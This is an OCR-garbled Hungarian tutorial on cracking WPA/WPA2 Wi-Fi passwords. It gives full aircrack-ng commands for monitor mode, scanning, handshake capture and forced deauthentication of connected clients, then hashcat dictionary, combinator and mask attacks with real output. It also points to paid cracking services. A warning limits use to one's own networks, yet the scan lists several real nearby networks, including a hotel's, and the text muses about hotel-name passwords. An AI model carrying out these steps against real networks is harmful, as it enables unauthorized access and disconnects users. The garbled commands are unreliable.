WPA jelsz6 feltorése

A

Warning

Az itt leirtak kizardlag oktatasi célt szolgalnak. Soha ne prébaljuk meg méasok hal6zatat feltérni se ezekkel a médszerekkel se mashogyan, kizarélag
direkt, erre a célra létrehozott, sajat halozatokon kisérletezziink mert mas hal6zatanak feltérése torvénysért? és etikatlan! A szerz? semmilyen
felel?sséget nem vallal azért, ha valaki a figyelmeztetés ellenére rosszindulatian hasznalna fel az itt leirtakat.
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Bevezet?
Mit is fogunk csinalni

https://medium.com/@brannondorsey/crack-wpa-wpa2-wi-fi-routers-with-aircrack-ng-and-hashcat-a5a5d3ffea46
A WPA titkositassal rendelkez? WiFi halézatokat kizarélag hash visszafejtéssel lehet térni, és csak akkor ha nem tdl bonyolult és tdl hosszu a jelszé,
klléonben mar tdbb aram és id? kéne hozz4, mintsem hogy megérje. Kilondsen akkor van esélylink feltérni egy WPA vagy WPA2 jelszét, ha az 10

karakternél nem hosszabb és szo6tari szavak kombinaciéjaként all el?. Ha teljesen random a sorozat, akkor mar viszonylag révidebb jelsz6 esetén is (10
karakter) mar hetekbe telhet a térés (GPU rig-en).

A tdrésre mindenképpen GPU rigre van sziikség, ez CPU-ban, kiiléndsen laptopon biztos hogy nem végezhet? el. S?t, egy darab GPU-val sem jutunk
messzire. Minél nagyobb a rig, gy nyerhetlink napokat.

Két szoftvercsomagot fogunk hasznalni:

RACK=NG

aircrack-ng: teljes kér? WiFi manipulald, monitorozé, és toér? (WEP esetén) parancssori eszkéz, |

hashcat: Az egyik legnépszer?bb GPU jelszé visszafejt? eszkdz. Képes GPU rig-en is futni. :

A WEP titkositassal védett halézatokat ennél sokkal egyszer?bb feltdrni, mert ott ki lehet hasznalni az algoritmus hibait. WEP esetén a legegyszer?bb
az airgeddon szoftvercsomag hasznalata, amihez a legidedlisabb a Keli Linux disztriblcié, mert abban mar minden benne van ami az airgeddon
futtatdsahoz szikséges. A WPA tdréséhez is hasznalhatjuk az airgeddon-t (https:/github.com/v1s1t0r1sh3r3/airgeddon/wiki/Installation-&-Usage), de az
airgeddon -al készilt handshake fajlt nem tudtam hashcat formatumra konvertalni. Az airgeddon igazabél nem csinal mast, mint 6sszefogja a
kilonbdz? WiFi manipulalo/tor? eszkdzoket, és egy egységes, felhasznalé barat interfészt hiz feléjik, igy a hasznélata nagyon kezesbarany (pl. a
hascat-et is hasznalja CPU Gzemmddban).
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A WPA jelsz6 torésekor a koncepci6 a kovetkez?. Els?ként begy?jtjiik a feltdrni kivant halézat adatait. Szlikséglink van a BSSID-ra és a csatorna
szamara, amit az AccessPoint hasznal. Ha mar tudjuk ezeket az informaciokat, akkor elkezdlink addig hallgatozni a csatornank, amig nem érkezik egy
Handshake (izenet valamelyik klienst?l. Csak olyan halézatot tudunk megtamadni, ahol vannak kliensek, akik mar ismerik a jelsz6t. Ha van legalabb 1db
kliens az AP-ra csatlakozva, akkor azt a klienst egy hamis autentikacios Uzenettel ra tudjuk venni hogy csatlakozzon Ujra, igy el tudjuk kapni a
handshake lizenetet, amiben benne van a jelsz6 hash lenyomata. Ezen komplex feladat elvégzésére a aircrack-ng szoftver csomagot fogjuk hasznalni.

3. capture handshake
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Nem minden WiFi kartya alkalmas halézat monitorozasra vagy manipulaciora. Allitslag Iéteznek direkt erre a célra killonosen jol megfelel? (kiils?)
kartyak. Nekem a laptop-ba épitett kartyaval is ment. (Qualcomm Atheros AR9485)

A hash visszafejtését egy GPU rig-en fogjuk végezni a hashcat programmal, ami remekil ki tudja hasznalni a GPU rig nyujtotta
parhuzamosithatésagot. Az airmon-ng altal kikopott hash formatum nem fogyaszthaté a hashcat altal, ezért a .cap formatumot konvertalni kell
.hccapx formatumra, majd brute-force médszerrel megprébaljuk visszafejteni a hash-t.

A hash visszafejtés valéjaban "random" prébalkozas. Fogunk egy jelszé jeldltet, a megfelel? hash médszerrel elkészitjlik a hash lenyomatat (az

esetlinkben WPA hash-t kell hasznalni) majd a hash lenyomatot 6sszehasonlitjuk a handshake-ben talalhat6é hash-el. Ha nem talalt, akkor veszlink egy
Uj jeloltet és kezdjuk eldlr?l. A siker kulcsa igazabdél azon mulik, hogy milyen modszerrel hatarozzuk meg a kévetkez? jeldltet.

kicserélve. (pl. kis és nagy bet?k, szamok, specialis karakterek) Ezzel a modszerrel biztos ra akadunk a jelszéra (ha j6 hosszisagon
prébalkozunk) viszont akar hénapokba is telhet.

e szotar alapu: |éteznek el?re gyartott sz6 készletek, amiben tébb 10 ezer sz6 is 6ssze lehet gy?jtve. Egy ilyen gy?jtemény szavait
végigprobalgatni még 10 ezres nagysagrend esetén is csak a téredéke a brute force modszernek.

¢ kombinalt moédszerek: szétarakat kombinalunk egymassal, vagy pl szamokkal. Ezzel nagyban kib?vithetjiik a keresési univerzumot, de még
midig csak a téredéke az elvégzend? munka a brute-force-nak.

Hogyan m?koédik a WPA titkositas

Installacio
Aircrack-ng

Installalni kell a aircrack-ng csomagot

# dnf install aircrack-ng

hashcat-utils

Az aircrack dltal hasznalt .cap fajformatumot a hashcat-utils-master csomagban talalhaté konverterrel tudjuk majd .hccapx formatumra konvertalni,
amiben a hash formatum mar megfelel? a haschcat-nek.

A github-rol tudjuk letdlteni: https:/github.com/hashcat/hashcat-utils

A forditashoz csak egy make kell:

# git clone https://github.com/hashcat/hashcat-utils.git
# make
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Hashcat

A Hascat-et a GPU rigre kell telepiteni. It feltételezzik, hogy mar rendelkezésiinkre all egy teljesen konfiguralt GPU rig (mining rig).

A hashcat binarist csak le kell t6lteni és ki kell telepiteni (7z-vel):

# yum install p7zip
# wget https://hashcat.net/files/hashcat-4.1.0.7z

# 7za x hashcat-4.1.0.7z

Prébaljuk ki az alabbi teszt paranccsal hogy jél fut e:

# ./hashcat64.bin -m 1000 -b
hashcat (v4.1.0) starting in benchmark mode...

Benchmarking uses hand-optimized kernel code by default.

You can use it in your cracking session by setting the -0 option.

Note: Using optimized kernel code limits the maximum supported password length.
To disable the optimized kernel code in benchmark mode, use the -w option.

* Device #1: WARNING! Kernel exec timeout is not disabled.

This may cause "CL_OUT_OF_RESOURCES" or related errors.

To disable the timeout, see: https://hashcat.net/qg/timeoutpatch
* Device #2: WARNING! Kernel exec timeout is not disabled.

This may cause "CL_OUT_OF_RESOURCES" or related errors.

To disable the timeout, see: https://hashcat.net/qg/timeoutpatch
* Device #3: WARNING! Kernel exec timeout is not disabled.

This may cause "CL_OUT_OF_RESOURCES" or related errors.

To disable the timeout, see: https://hashcat.net/qg/timeoutpatch
OpenCL Platform #1: NVIDIA Corporation

* Device #1: GeForce GTX 1060 3GB, 754/3019 MB allocatable, 9MCU
* Device #2: GeForce GTX 1060 3GB, 754/3019 MB allocatable, 9MCU
* Device #3: GeForce GTX 1050 Ti, 1010/4040 MB allocatable, 6MCU

Benchmark relevant options:

* —-optimized-kernel-enable

Hashmode: 1000 - NTLM

Speed.Dev.#1.....: 14465.9 MH/s (83.46ms) @ Accel:128 Loops:1024 Thr:1024 Vec:1
Speed.Dev.#2.....: 13824.3 MH/s (85.87ms) @ Accel:128 Loops:1024 Thr:1024 Vec:1
Speed.Dev.#3.....: 8868.6 MH/s (87.05ms) @ Accel:256 Loops:512 Thr:1024 Vec:1
Speed.Dev.#*.....: 37158.8 MH/s

Lathatd hogy a rig-tnk teljes kapacitasa 37158.8 Mega hash / sec (ez nem tul sok). Fontos hogy a rig 6sszes GPU-ja ki legyen itt listazva.

Handshake elkapasa

Monitor mode bekapcsolasa
A WiFi adatpert at kell allitani monditor izemmaodba. Erre nem minden wifi kartya képes, a DELL gyari kartyaja, szerenécsre igen:

# airmon-ng start wlp3s0

[phyO]wlp3sOmon)

Az utols6 sorban lathatjuk hogy mi lett a monitor interfész neve, ezt kell hasznalni innent?l kezdve a tAmadas soran: wip3sOmon

Halozatok feltérképezése

Most nézziik meg hogy milyen haldzatokat lat a WiFi kartya. Sziikésglink lesz a feltérend? halézat BSSID-jére és az AccessPoint altal hasznalt
csatornara:

# airodump-ng wlp3sOmon

CH 7 ][ Elapsed: 1 min ][ 2018-07-25 16:29

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
AC:Cl:EE:88:CE:93 -51 279 0 0 6 54e. WPA2 CCMP PSK RedmiAdam
00:12:C9:31:7A:28 =77 103 0 0 6 54e. WPA2 CCMP PSK TEST_NETWORK <<<<
C4:A3:66:45:34:6C -84 56 23 0 1 54e WPA2 CCMP PSK COSMOTE-45346C
70:3A:D8:08:9A:F4 -86 47 8 0 9 b54e WPA2 CCMP PSK Almare_Roof
18:A6:F7:7E:B2:74 -86 43 0 0 1 54e WPA2 CCMP PSK TEST_NETWORK RECEPTION
68:72:51:62:B0:19 -91 1 0 0 10 54e. WPA2 CCMP PSK Hotel Hara 2
52:A3:66:50:72:C9 -1 0 1 0 1 -1 OPN <length: 0>

Lathato, hogy az altalunk felérni kivant hal6zat a 6-os csatornan van, és a BSSID-je: 00:12:C9:31:7A:28

Handshake elkapasa

Most addig fogunk hallgat6zni ezen a csatornan, amig nem érkezik legalabb egy hanshsake az egyik klienst?l. Ha egy kliens sincs éppen az AP-re
csatlakozva, akkor nem jarhatunk sikerrel. A hallgatozo airodump-ng parancs szintaktikaja az alabbi:

airodump-ng -c <csatorna szama> --bssid <bssid> -w <output fajl base neve> <interfész név>



e csatorna szama: 6
¢ bssid: 00:12:C9:31:7A:28
¢ montitor interszé neve: wip3sOmon

# airodump-ng -c 6 —--bssid 00:12:C9:31:7A:28 -w psk3 wlp3sOmon

CH 6 ][ Elapsed: 12 s ][ 2018-07-25 16:41 <itt jelenik majd meg a handshake>
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:12:C9:31:7A:28 -80 100 147 3 0 6 54e. WPA2 CCMP PSK TEST_NETWORK
BSSID STATION PWR Rate Lost Frames Probe
00:12:C9:31:7A:28 8C:F5:A3:9A:A8:D0 -83 0 -24 0 1
00:12:C9:31:7A:28 8C:0D:76:D4:56:34 -1 Oe- 0 0 2
00:12:C9:31:7A:28 AC:Cl:EE:97:17:EF -89 0 -6 0 2
fﬂ H\
Note

Ha itt nem latunk egy klienst sem a listaban, akkor nem fog sikerllni a tdmadéas, mert nem lesz ki Ujra csatlakozzon

Lathatjuk a klienseket az also listaban (station). Jelenleg 3 kliens csatlakozik az AP-re. Vagy addig varunk, amig valaki nem csatakozik Ujra, vagy
kier?szakoljuk mi magunk az Ujracsatlakozast a kliensek becsapasaval. A cél, hogy a jobb fel?s sarokban megjelenjen a WPA handshake felirat, amit
be is jel6ltem ('itt jelenik majd meg a handshake')

Ujrakapcsolodas kier?szakolasa

Most er?szakoljuk ki a kliensek Ujracsatlakozasat egy hamis autentikacios lizenettel, amit a broadcust cimre kiildiink a aireplay-ng eszkozzel, ami
része az airodump-ng csomagnak.

A

Warning
Az 6sszes kliens meg fogja szakitani a kapcsolatot egy pillanatra az AP-val, igy térténhet adatvesztés

Szintaxis:

aireplay-ng -0 2 -a <bssid> <interfész név>

Itt a 2-val azt mondjuk meg, hogy kett? darab becsapds csomagot kiildjon ki. Nyissunk meg egy masik command ablakot, és adjuk ki az alabbi
parancsot:

# aireplay-ng -0 2 -a 00:12:C9:31:7A:28 wlp3sOmon

16:52:50 Waiting for beacon frame (BSSID: 00:12:C9:31:7A:28) on channel 6

NB: this attack is more effective when targeting

a connected wireless client (-c <client's mac>).

16:52:50 Sending DeAuth to broadcast -- BSSID: [00:12:C9:31:7A:28]
16:52:51 Sending DeAuth to broadcast —-- BSSID: [00:12:C9:31:7A:28]

Lathatd, hogy kett? darab becsapds csomagot kildiitt ki az AP nevében a broadcust cimre. Most varni kell hogy a kliensek Urja csatlakozzanak.

Ha legalabb egy kliens megkapta a becsapds csomagot, Ujra fog csatlakozni. Ezt onnan fogjuk lanti, hogy a halézat figyel? abalkunkban, jobb felll
megjelenik a handshake. A Crtl+c-vel allitsuk le a montitort.

CH 6 ][ Elapsed: 2 mins ][ 2018-07-25 16:58 ][ WPA handshake: 00:12:C9:31:7A:28 <<<itt megjelent a handshake
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:12:C9:31:7A:28 =79 100 1484 63 0 6 54e. WPA2 CCMP PSK TEST_NETWORK

BSSID STATION PWR Rate Lost Frames Probe

Note
Ha a becsap6s csomagok kiklldése utan par masodperccel nem jelenik meg a handshake, akkor kicsit varjunk, hogy Ujabb kliensek is az AP-ra

csatlakozzanak, és prébaljuk meg Ujra. (pl este, mikor nagyobb az AP-n a forgalom, olyankor garantalt a siker

Mi jott létre

Nézziik meg milyen fajlok keletkeztek:

# 11

total 4468

-rw-r-—-r-—- 1 root root 170590 Jul 25 16:58 psk3-03.cap
-rw-r--r-—- 1 root root 589 Jul 25 16:58 psk3-03.csv
-rw-r--r-- 1 root root 592 Jul 25 16:58 psk3-03.kismet.csv
—-rw-r--r-— 1 root root 4034 Jul 25 16:58 psk3-03.kismet.netxml
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Szamunkra a .cap kiterjesztés? fajl az érdekes, abban vannak elmentve a handshake-ek, amiket akkor kaptunk el, mikor a kliensek Ujra csatlakoztak az
AP-hez. Itt egy vagy tébb hash talalhatd, amiket vissza fogunk fejteni a GPU riggel. (az utolsé szamot futtatasonként egyel néveli az airodump-ng,
nalunk ez a 3. futtatas eredménye)

Monitor kikapcsolasa
Ha megvan a handshake, fontos, hogy kikapcsoljuk a monitor izemmodot a WiFi kartyan, mert addig nem tudjuk internetezésre hasznaini.
airmon-ng stop wlp3sOmon

A kikapcsolashoz nem a kartya nevét kell megadni, hanem a monitor interfész nevét.

Konvertalas

A .cap fajlt konvertalni kell .hccapx formatumra, hogy fel tudjuk dolgozni a hashcat programmal. A konverziét a cap2hccapx eszkdzzel végezhetjik el
(vagy online, keressuink ra)

cd ..., /hashcat-utils-master/src/
# ./cap2hccapx.bin psk3-03.cap psk3-03.hccapx
Networks detected: 1

[*] BSSID=00:12:c9:31:7a:28 ESSID=TEST_NETWORK (Length: 12)
--> STA=ac:cl:ee:97:17:ef, Message Pair=0, Replay Counter=1
--> STA=ac:cl:ee:97:17:ef, Message Pair=2, Replay Counter=1

Written 2 WPA Handshakes to: psk3-03.hccapx

Lathatd, hogy a psk3-03.cap fajl 2 handshake-et tartalmazott, tehat két klienst is ra tudtunk venni hogy Ujracsatlakozzon.
=N

A 4
Note

Ha az utolsé sorban az jelenik meg, hogy 'Written 0 WPA..", az azt jelenit, hogy nem tartalmazott handshake-t a .cap fajl, nem siker(lt felvenni egy
Ujracsatlakozast sem. Mindig varjuk meg, hogy a monitorozas alatt megjelenjen jobb f6lil a 'WPA Handshake' felirat.

Hash visszafejtése

Az itt leirtakat barmilyen jelszo6 feltdrésére hasznalhatjuk, nem csak WPA, minddsszesen a haschat paraméterezésén kell valtoztatni, ha nem WPA
hash-t akarunk térni.

GPU rig hasznalata
Hogyan telepitsiik + gui: https://www.shellntel.com/blog/2017/2/8/how-to-build-a-8-gpu-password-cracker

Célszer? betartani egy sorrendet az egyszer?t?l a nagyon bonyolultig. Els?ként mindig prébaljuk meg szimplan a szétar alapu térést hasznalni. Ekkor
egy szotar fajl minden egyes sorara egyenként raprobal a hashcat. Ha ez nem m?kédott érdemes a kombinalt torést alkalmazni, amikor tébb szotar fajl
tartalmat permutaljuk. Ha ez is kevés, akkor szamokat is hozza adhatunk. Ha még ez sem segitett, csak akkor érdemes a brute-force visszafejtés.

Nekem csak egy 3 GPU-s rigem van, ami nem képvisel tul komoly szamitasi kapacitast, igy brute-force térésre gyakorlatilag alkalmatlan.

Els? Iépésként a konvertalt hash fajlt (psk3-03.hccapx) a rig-re kell masolni.

# scp psk3-03.hccapx root@example.org:/path/to/folder

W

-

Tip
Fontos, hogy minden mas GPU tevékenységet ledllitsunk a rig-en, tehat NE banyasszunk, amig jelszé visszafejtésre akarjuk hasznalni a gépet :)

A hashcat szintaxis az alabbi:
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./hashcat64.bin -m <hash tipus> -a <tdrési mddszer> -o <ahova a végeredmény keriil> <hash fajl> <szdétar fajl (ok)>

e -m: hash tipus: A hashcat tdménytelen tipust tAmogat. WPA esetén ez 2500. Ime a lista:
https://hashcat.net/wiki/doku.php?id=example_hashes
e -a: torési moédszer:
+ 0: sima sz6tar fajl alapu
+ 1: kombinalt sz6tarak
+ 3: brute force
+ Hybrid Wordlist + Mask
+ Hybrid Mask + Wordlist

Es egy nagyon részletes help:

./hashcat64.bin --help

Szimpla szétarar alapu keresés

Nagyon nagyon sok sz6 gy?jtemény létezik. A Keli linux-ban gyarilag nagyon sok szotarat talalunk. Az egyik legaltalanosabb gy?jtemény a
rockyouo.txt, amiben jelenleg 14344391 'szé kombinacid' talalhat6. Azert mondom hogy kombinacioé, mert a legtébb szé szamokkal keverve is
megtalalhaté. Ezen felll a leggyakoribb jelszavakat is tartalmazza.

wget https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt

Majd -a utan adjuk meg a 0-at (egy szoétar alapjan tériink) és a parancs végére tegylk oda a szotar fajlt:
# ./hashcat64.bin -m 2500 -a 0 -o cracked.txt psk3-03.hccapx rockyou.txt

Session..........: hashcat

Status...........: Cracked

Hash.Type........: WPA/WPA2

Hash.Target......: STUDIO IRENE (AP:00:12:c9:31:7a:28 STA:ac:cl:ee:97:17:ef)
Time.Started.....: Wed Jul 25 23:55:04 2018 (2 secs)

Time.Estimated...: Wed Jul 25 23:55:06 2018 (0 secs)

Guess.Base.......: File (rockyou.txt)

Guess.Queue......: 1/1 (100.00%)

Speed.Dev.#1l.....: 91063 H/s (7.24ms) @ Accel:32 Loops:16 Thr:1024 Vec:1
Speed.Dev.#2.....: 85771 H/s (7.25ms) @ Accel:32 Loops:16 Thr:1024 Vec:1
Speed.Dev.#3.....: 85478 H/s (7.80ms) @ Accel:32 Loops:16 Thr:1024 Vec:1

Speed.Dev.#*.....: 262.3 kH/s

A végeredmény a cracked.txt-be keril. A Statusz mez?be azt kell I&ssuk hogy Cracked.

# cat cracked.txt
bbal7692£1d2b32ef68£4b34£037d9%9a2:0012c9317a28:acclee9717ef: TEST_NETWORK: 33333333

A jelsz6 az utols6 mez?, el?tte van a halézat neve.

Mivel nagyon sokaig is futhat a hashcat, célszer? a screen programmal futtatni. A hattérben fog futni, de barmikor ra tudunk Ujra csatlakozni a konzolra:
# /usr/bin/screen -d -m -S minerscreen ./hashcat64.bin ...paraméterek

# /usr/bin/screen -d -m -S minerscreen /home/adam/hashcat/hashcat64.bin -m 2500 -a 1 -o cracked.txt myhash.hccapx rockyou.txt
Visszacsatlakozas a konzolra:

# screen -r

Majd a Crtl+a+d-vel tudunk lecsatlakozni a konzolrél.

Kombinalt szétar alapu keresés
https://www.4armed.com/blog/hashcat-combinator-attack/

Nagyon egyszer? dolgunk van. A -a utan 1-et kell irni (kombinalt szétarak) és a parancs végén a masodik szotar fajlt is meg kell adni, ami akar ugyan az
is lehet mint az els?. Az els? fajl 6sszes szavahoz hozz4 fogja illeszteni a masodik fajl 6sszes szavat.

./hashcat64.bin -m 2500 -a 1 -o cracked.txt psk3-03.hccapx rockyou.txt dictionary2.txt

Ha csak 1 szétéarat adunk meg, de -a 1 -et adunk meg, akkor magatdl permutalni fogja a szétar szavait.

./hashcat64.bin -m 2500 -a 1 -o cracked.txt psk3-03.hccapx rockyou.txt

Note

Gyakran tudjuk hogy a szalloda neve nyilvan benne van a jelszéban vagy hogy a jelszé végén egy évszam van. Ezért csinalhatunk olyan szétarakat
amiben az utols6 10 éve évszamait soroljuk fel, és ezt adjuk meg masodik szotar fajlnak, vagy csinalhatunk olyan fajlt, amiben a szalloda neve van
varidlva, és ezt kombinaljuk dssze egy ismert szé gy?jteménnyel. (persze ezt csak hipotetikusan irtam le, sose prébaltam ki)
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Kombinalt szétar alapu keresés szamokkal

ke 1)
-

-

Tip
A rockyou.txt szétarban sok sz6 megtalalhaté szamokkal kombinalva

Ezt nem prébaltam ki, de ezt irtak ra:
Easiest way is using combinator from hashcat utils, pipe that to hashcat and use rules to append the numbers.

combinator wordl.txt word2.txt | hashcat -m2500 -r append_digit.rule -r append_digit.rule -r append_digit.rule test.hccapx

depending on how small your word lists are etc, you could also think of an alternative like this:

1. first precompute and store a modified 2nd word list: combine the second word list word2 with the digits already combined
2. run -a 1 with word1 and word2_combined_with_3_digits

you could for instance use
hashcat --stdout -a 6 -o word2_combined_with_3_digits word2 ?d?d?d" --> to combine the dictionary file word2 with 3 digits.
Of course an approach like this only makes sense if:
1. the word list word2 is not too huge (but a too huge word list would anyways be a problem of infeasibility for -a 1 attacks)
2. the storage is not too much of a problem (fast I/O) etc
3. the resulting speed is acceptable
The speed of course depends also a lot on your GPU/CPU setup and most importantly on the hash mode (in your case it is -m 2500 = WPA/WPA2). A

small advantage of this pre-computation approach is that the ETA would be more accurate and the status display of hashcat will show more info
(because no pipe is involved in this case).... but of course for most users the speed is more important than just some displayed values.

Brute-force

maszkos tamadas a hashcat oldalarol: https://hashcat.net/wiki/doku.php?id=mask_attack
egy remek példa: https://www.4armed.com/blog/perform-mask-attack-hashcat/

A

Warning
Ez a legkevésbé célravezet? modszer. Az én 3 GPU-s rigemmel a 8 karakter hosszra is 17 napot jésolt!!! Mennyi a&ram az, te j6 ég. Plane ha hosszabb!
Mindig kezdjiik a szotar alapu toréssel, aztdn a kombinalt téréssel.

A hashcat jelelegi verzi6ja (4) mar nem tdmogatja az igazi brute-force tdrést, mara mar a maszk alapu térést hivjak brute-force-nak. Ez azt jelenti, hogy
egyrészr?| valami féle feltételezéssel kell éljiink a jelsz6 hosszat illet?en, masrészt minden egyes jelsz6 karakterre meg kell adni a karakter készletet,
ami ott széba joeht.

Szintaxis:
./hashcat64.bin -m 2500 -a 3 <sajat karakter definicidék> -o cracked psk3-03.hccapx <maszk>

¢ Annyi eltérés van a szotar alapu kereséshez képest, hogy a parancs végén meg kell adni egy maszkot, amivel egyrészt megmondjuk, hogy
(maximum) milyen hosszu a jelszd, masrészt megjésoljuk minden egyes poziciora, hogy ott milyen karakter halmazbdl kerllhet ki karakter.

¢ A maszk-ban minden egyes poziciéra vagy konkrétan odairjuk azt a bet?t/szdmot amit az adott pozicién varunk (ez akkor lehet érdekes, ha
van vmi infénk a jelszérol) vagy a ?<tipus>-al megadjuk a karakterhalmazt.

¢ A karakter halmaz tipuskéent vagy a gyari, beépitett tipusokat hasznalhatjuk, vagy egyedieket is megadhatunk. Ezek a beépitett tipusok:

?1 = abcdefghijklmnopgrstuvwxyz

?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ

?d = 0123456789

?h = 0123456789%abcdef

?H = 0123456789ABCDEF

?s = «space»!"#$%&"' () *+,—./:;<=>2Q@[\]"_"{|}~
?a = ?1?u?d?s

?b = 0x00 - Oxff

* Osszesen 4 kildénbdz? egyedi tipust definialhatunk. Ekkor a ? utan 1-4 ig kell megadni egy szdmot, és a tipust kiildn kell definialni a -1
<definicié> vagy -2 <definicio> .. stb modon. A definicidban vagy a beépitett elemeket hasznalhatjuk ugyan tgy a ? utan megadva a tipust,
vagy megadhatunk konkrét karaktereket is. Viszont nagy kllénbség, hogy itt a pozicié nem szamit, itt egy szumma halmazt definialnunk, amik
a szoba johet? karakterek a maszkban azon a pozicién, ahol ezt a szdmot hasznaltuk. PI: Ezt irjuk a maszkba:

. ?121222u

Ezzel azt mondtuk meg, hogy a jelsz6 4 hosszU és az els? helyre az angol ABC kisbet?i kdzll lehet csak valasztani. A masodik helyen a -1 -el definialt
karakter halmazbdl kerllhet ki a gy?ztes, a 3. helyre a -2-vel definialt karakter halmazbél, mig a 4. helyre csak az angol ABC nagy bet?i kdzul lehet
valasztani. Fontos, hogy megadjuk az 1-es és 2-es karakter halmazok definiciéjat is:

.o-1 ?u?l ...

Ezzel megadtuk, hogy az 1-es karakter halmazt az angol ABC kis és nagybet?i alkotjak. Tehat a 2. karaktere a jelszénak az angol ABC kis és nagybet?i
kozll kell hogy kikertljon.

. -2 2des# ...
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Ezzel azt mondtuk meg, hogy a 2-es karakter készletbe a szamok tartoznak bele valamint a @,& és #. Tehat a jelsz6 3. karaktere vagy egy szam vagy
a@,& vagy #.

A kdvetkez?kben feltételezzik, hogy a jelsz6 els? 5 karakter kisbet?, és csak az utolsé 3 lehet szam is vagy bet? (lill 1)

# ./hashcat64.bin -m 2500 -a 3 -1 ?1?d -o cracked psk3-03.hccapx ?21212121212121721
hashcat (v4.1.0) starting...

Session..........: hashcat

Status...........: Running

Hash.Type........: WPA/WPA2

Hash.Target......: STUDIO IRENE (AP:00:12:c9:31:7a:28 STA:ac:cl:ee:97:17:ef)
Time.Started.....: Wed Jul 25 23:05:44 2018 (4 secs)

Time.Estimated...: Mon Aug 13 06:50:55 2018 (18 days, 7 hours)
Guess.Mask.......: 2121212121?21?21?1 [8]

Guess.Charset....: -1 ?1?d, -2 Undefined, -3 Undefined, -4 Undefined
Guess.Queue......: 1/1 (100.00%)

Speed.Dev.#1l.....: 133.9 kH/s (15.70ms) @ Accel:64 Loops:16 Thr:1024 Vec:1
Speed.Dev.#2.....: 133.8 kH/s (16.04ms) @ Accel:64 Loops:16 Thr:1024 Vec:1
Speed.Dev.#3.....: 87386 H/s (7.85ms) @ Accel:32 Loops:16 Thr:1024 Vec:1
Speed.Dev.#*.....: 355.1 kH/s

Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts

Progress.........: 1376256/554337478656 (0.00%)

Rejected.........: 0/1376256 (0.00%)

Restore.Point....: 0/21320672256 (0.00%)

Candidates.#1....: mfvytane —-> mmcjyone

Candidates.#2....: msefpone -> mzjmalll

Candidates.#3....: carierin -> cgvytane

HWMon.Dev.#1.....: Temp: 59c Fan: 0% Util: 96% Core:1455MHz Mem:4428MHz Bus:1
HWMon.Dev.#2.....: Temp: 55c Fan: 0% Util: 98% Core:1379MHz Mem:4428MHz Bus:1
HWMon.Dev.#3.....: Temp: 5lc Fan: 0% Util: 99% Core:1404MHz Mem:3903MHz Bus:1

A statusz haromféle lehet:
¢ running: még fut.

e cracked: Megtaldlta a jelszét. A -o-val megadott fajlba rakta.
¢ exhausted: végig ment a teljes megadott karakter univerzumon, de nem talélta meg a jelszét

GPU hash szolgaltatok

Talan az egyetlen széba johet? médszer, ha egy hash tér? szolgaltatast vesziink igénybe, akik valamennyi BTC-ért cserébe visszafejtik pillanatok alatt
a hash kodot.

gpuhash.me

A https://gpuhash.me/ 0.001 BTC-t kér a térésért, amit kevesebb mint 15 perc alatt el is végeztek. Figyelemre mélté. Raadésul csak akkor kell kifizetni,
ha meg is talalta.
Képes brute-force torésre is, de az sokkal tébbe ker(l, kb 0.005 BTC.


https://gpuhash.me/

WPA/WPA2

D: 80:12:C9:31:7A:28
IAC: AC:C1:EE:97:17V:EF
Z2BC444F52088F8ADFEDRZTGDFG6BF1TER

ion: Basic search

corded: 2018-87-25 19:26:85

arted: 2018-07-25 19:26:41
inished: 2018-07-25 19:29:17 (< 15 min) JOSWMIBAEHCCARK
Status: Completed

*ayment type: Bitcoin (BTC)

*ayment address:

Price: @.881 BTC

@ Litecoin = DASH ) Zcash

onlinehashcrack

Valamivel olcsébb, mert csak 5 eurét kérnek a torését, és email cimet is kérnek, ahol értesitenek, tehat kevéssé diszkrét.

WEP haldzat feltorése

https://www.aircrack-ng.org/doku.php?id=simple_wep_crack
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